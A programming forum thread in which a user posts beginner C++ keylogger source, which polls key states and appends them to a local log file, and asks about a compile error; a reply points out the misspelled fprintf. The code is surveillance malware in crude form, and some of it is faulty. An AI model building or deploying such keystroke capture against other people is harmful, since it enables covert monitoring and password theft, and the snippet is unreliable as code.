Key Logger Help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <Windows.h>
#include <WinUser.h>

using namespace std;

int Save (int key_stroke, char *file);

int main()
{
	char i;

	while (1)
	{
		for(i = 8; i <= 190; i++)
		{
			if(GetAsyncKeyState(i) == -32767)
				Save(i, "Log.txt");
		}
	}
	return 0;
}

int Save (int key_stroke, char *file)
{
	if ( (key_stroke == 1) || (key_stroke == 2))
		return 0;

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	fprint(OUTPUT_FILE, "%s", &key_stroke);
	fclose(OUTPUT_FILE);

	cout << key_stroke << endl;
	return 0;
}


As you can see here i am trying to create a key logger, I am following a tutorial. But for some reason it says that fprint isn't declared.

Any Help will be much Appreciated.

Thank You,
You can Google up any C or C++ function name and chances are you'll find a document that tells you which header file you need to #include to use it.

But since you are using C++ you might want to use C++ streams. Check out this site's tutorial an reference and learn about file streams (#include <fstream> if I recall correctly).

UPDATE: BTW, I quickly used what you wrote to Google, and it turns out you mispelled the function. It is fprintf().
Last edited on
Oh, Stupid Mistake Thanks!
Topic archived. No new replies allowed.